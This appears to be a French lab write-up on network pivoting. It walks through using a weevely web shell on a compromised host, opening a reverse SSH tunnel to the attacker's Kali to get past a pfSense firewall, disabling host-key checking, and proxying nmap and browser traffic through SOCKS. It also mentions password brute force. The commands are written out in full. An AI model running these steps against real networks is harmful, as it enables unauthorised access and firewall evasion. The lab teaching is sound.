Pivot 2
Changement du port SSH
Pour changer le port d’écoute du service SSH, se rendre dans le fichier /etc/ssh/sshd_config.
Ajouter “port 80”.
Relancer le service SSH avec la commande systemctl restart sshd.
Nous voyons que le service SSH écoute désormais sur le port 80.
Nous pouvons voir que depuis notre machine, la kali est désormais accessible en SSH via le port 80.
Reverse tunneling SSH
Les flux SSH entrants vers le LAN sont actuellement bloqués par le pfSense.
Pour pouvoir établir une connexion SSH entrante, nous pouvons utiliser le reverse tunneling.
Nous établissons un tunnel depuis la machine du LAN vers laquelle nous voulons nous connecter en SSH. Le tunnel étant donc sortant du LAN, il n’est pas bloqué.
Nous établissons notre connexion SSH entrante, à travers le tunnel déja établi.
Nous pouvons schématiser cela comme ceci:
Pour pouvoir établir le tunnel SSH depuis l’interieur du LAN, nous utilisons weevely.
Lancer la commande : weevely https://172.19.110.126/agent.php test.
Nous lançons donc la commande pour ouvrir un tunnel depuis la machine distante (-R pour remote) :
ssh -p 80 kali02@172.19.110.164 -R 19999:localhost:22
Pour les explications suivante, kali02 est notre machine local et infra01 est notre machine remote :
- “ssh -p 80 kali02@172.19.110.164” siginifie que nous établissons une connexion SSH vers notre kali02 sur le port 80.
- “-R” pour ouvrir un tunnel depuis la machine distante.
- “19999:localhost:22” va ouvrir le port 19999 sur la machine local. Le tunnel SSH liera ce port au port 22 de localhost de la machine distante (depuis laquelle nous lançons cette commande).
Nous pouvons voir le message d’erreur ci-dessous.
En effet, nous sommes actuellement sur weevly qui ne nous permet pas de répondre à des prompts qui apparaissent lors de l’établissement du tunnel SSH.
Nous allons donc utiliser plusieurs techniques pour ne pas passer par les prompts.
La première chose est d’ajouter la clé SSH de INFRA01 sur kali02.
Weevely nous amène sur l’utilisateur www-data de la machine INFRA01, nous devons donc créer une clé SSH pour cet utilisateur que nous ajouterons aux hosts de confiance de kali02.
Cela permettra donc de se connecter sans avoir à entrer de mot de passe.
Créer un dossier .ssh avec mkdir .ssh (1).
Aller dans le dossier .ssh (2).
Générer les clés SSH. Weevely nous empechant toujours de répondre à des prompts nous ajoutons des flags particuliers pour préciser l’algorithme de chiffrement ainsi que le nom des fichiers contenant les clés.
ssh-keygen -t rsa -f id_rsa.
Nous pouvons voir que les clés ont bien été créés.
Il faut maintenant copier coller la clé publique générée.
Coller cette clé dans le fichier “.ssh/authorized_keys” de notre kali02.
Nous pouvons retenter de créer le tunnel en précisant le chemin d’accès à la clé privée que nous venons de créer avec le flag -i.
Cela ne fonctionne toujours pas, il y a encore des commandes qui sont prompts.
Nous ajoutons alors le “-N”, pour ne pas éxécuter de commandes distantes.
Cela ne fonctionne toujours pas. Cela vient du StrictHostKeyChecking. SSH vérifie et maintient automatiquement une base de données d’identité pour tous les hôtes qui ont déjà été utilisés dans les vérifications de clé d’hôte. Lorsque nous nous connectons en SSH pour la premiere fois, il faut donc écrire “yes” dans le terminal pour confirmer bien vouloir se connecter.
Nous désactivons donc le StrictHostKeyChecking avec le flag -o pour option, qui nous permet de set la valeur de StrictHostKeyChecking à no, et donc de le désactiver.
Cela semble avoir encore raté…
Pourtant lorsque nous allons sur notre kali02, nous pouvons voir que le port désiré à bien été ouvert.
Nous pouvons alors essayer de nous y connecter en SSH.
Bingo cela semble fonctionner!
Il nous faut à ce stade le mot de passe d’un user de la machine, vu que nous sommes en SSH. Plusieurs solutions sont possibles, comme par exemple par force brute sur le mot de passe.
Nous obtenons bien un accès en SSH à la machine INFRA01.
FoxyProxy
Le but est maintenant de pouvoir accèder à des sites webs via cette connexion SSH.
Le protocole SSH prévoit de pouvoir faire ce genre de chose avec l’option “-D”.
Nous choisissons un port qui sera dynamique et connecté à un port SSH.
Notre proxy web redirigera donc les flux HTTP/HTTPS vers ce port dynamique, qui redirigera vers le port qui sert de point d’entrée au tunel.
Entrer la commande ssh -D 9999 franck@localhost -p 19999.
Le port a bien été ouvert.
Il faut maintenant créer le proxy web. Nous utilisons FoxyProxy.
Cliquer sur l’add-on (1), puis sur “Options” (2).
Cliquer sur “Add”.
Choisir un nom pour le proxy (1).
L’étape la plus importante, choisir une jolie couleur qui sera associé à notre proxy. Nous choisissons ici un joli rose (2).
Le port SSH dynamique est compatible avec SOCKS5 et SOCKS4, nous choisissons donc SOCKS5 comme proxy type (3).
Nous indiquons l’IP et le port sur lesquels rediriger le flux. Notre port dynamique est le 9999 (4) et tourne en local (localhost) (5).
Cliquer sur “Save” (6).
Choisir le pivot que nous venons de créer.
Nous pouvons désormais accéder au site web du pfSense via l’IP de la DMZ depuis notre kali présente dans le WAN.
Proxychains
Ouvrir le fichier de configuration de proxychains.
Ajouter notre port dynamique.
Lancer nmap via proxychains.
Les résultats sont disponibles et étudiés ici